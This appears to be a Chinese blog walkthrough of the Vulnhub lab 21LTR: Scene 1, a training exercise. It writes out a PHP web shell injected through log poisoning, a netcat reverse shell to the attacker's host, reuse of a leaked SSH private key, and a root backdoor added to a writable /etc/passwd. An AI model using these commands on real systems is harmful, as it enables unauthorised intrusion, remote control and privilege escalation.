Vulnhub靶机:21 LTR: Scene1

0x01 项目地址

21LTR: Scene 1

0x02 靶机描述

Scene 1
场景1

Your pentesting company has been hired to perform a test on a client company's internal network. Your team has scanned the network and you have been assigned one of the discovered systems. Perform a test on this system starting from the beginning of your chosen methodology and submit your report to the project manager at scenes AT 21LTR DOT com
您的渗透测试公司已受雇在客户公司的内部网络上执行测试。您的团队已经扫描了网络,您已被分配到其中一个发现的系统。从您选择的方法开始,对该系统进行测试,并将报告提交给AT 21LTR DOT com现场的项目经理

Scope Statement
范围声明

The client has defined a set of limitations for the pentest: - All tests will be restricted to the systems identified on the 192.168.2.0/24 network. - All commands run against the network and systems must be supplied in the form of script files packaged with the submission of the report - A final report indicating all identified vulnerabilities and exploits will be provided to the company's engineering department within 90 days of the start of this engagement.
客户端已为pentest定义了一组限制:-所有测试将限于192.168.2.0/24网络上标识的系统。- 针对网络和系统运行的所有命令都必须以脚本文件的形式提供,并与报告一起提交-将在本项目开始后90天内向公司的工程部门提供一份最终报告,其中说明所有已识别的漏洞和漏洞利用。

0x03 环境搭建

靶机

21LTR:SCENE 1

仅主机模式 192.168.2.120

攻击机

kali

仅主机模式 192.168.2.129

注:靶机IP默认为静态IP:192.168.2.120,因此kali需设置为仅主机模式,配置为相同网段

0x04 详细步骤

1.主机发现

arp-scan -l

2.端口扫描

nmap 192.168.2.120

可以看到开启了21、22、80、10001四个端口

既然开放了80端口,那么我们访问一下web

3.Web访问

浏览器访问192.168.2.120,只有一个页面

4.目录扫描

dirb http://192.168.2.120/

发现有个logs页面,我们尝试访问

提示拒绝访问

5.漏洞挖掘

三板斧抡完之后还未能得到有用的信息,此时再回到web页面看一下网页源码,找找有无可利用的信息

F12查看源码,一点开就发现了重要线索usernamepassword

 username:logs
 password:zg]E-b0]+8:(58G 

在刚才端口扫描时还扫到了21ftp22ssh端口,现在有了用户名和密码,可以尝试一下ftpssh连接

尝试后发现ssh连接失败,显示权限被拒绝,ftp连接成功

ftp 192.168.2.120

ls查看一下当前目录下的文件,可以看到只有backup_log.php一个文件

ls

我们将其下载到本地查看

get backup_log.php /home/kali/Desktop/1.php

exit
cat 1.php

根据文件名称和内容可以知道这是一份日志文件,之前在目录扫描是扫到了logs页面,同时logs也是这台靶机的一个用户,而且backup_log.php这个文件也是logs用户的文件,那我们不妨浏览器访问一下/logs/backup_log.php

http://192.168.2.120/logs/backup_log.php

发现是可以正常访问到的

既然可以访问日志文件,那么可以尝试将命令写到文件中看看能否被执行

在10001端口上启动一个netcat会话,从而getshell,并写入命令,在网页端拼接?cmd=id尝试命令执行

nc -nv 192.168.2.120 10001
<?php system($_GET['cmd'])?>

发现可以成功执行命令

6.漏洞利用

既然可以命令执行,那就直接尝试反弹shell

# 使用命令
nc -e /bin/sh 192.168.2.129 6666
 
# 攻击机监听
nc -lvnp 6666

反弹成功,拿到shell

建立交互式的shell

python -c 'import pty; pty.spawn("/bin/sh")'

7.权限提升

因为开启了ssh服务,所以读取一下密钥

cd /media/USB_1/Stuff/Keys
ls

查看authorized_keys文件,可以看到是hbeale用户

cat authorized_keys	

查看密钥文件

cat id_rsa

尝试用密钥文件进行ssh登录

ssh -i id_rsa hbeale@192.168.2.120

登录成功,但是一个低权限用户

可以查看/etc/passwd文件,尝试利用不安全配置/etc/passwd可写进行提权

创建root权限的新用户,先生成密码

openssl passwd 123456

$1$krKmtPnS$BS/lH1eN8fxFCjQxQ52Gs0

写入新root用户到/etc/passwd

echo 'newroot:$1$krKmtPnS$BS/lH1eN8fxFCjQxQ52Gs0:0:0:root:/root:/bin/bash' >> /etc/passwd

su切换newroot用户

su newroot
123456

提权成功!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值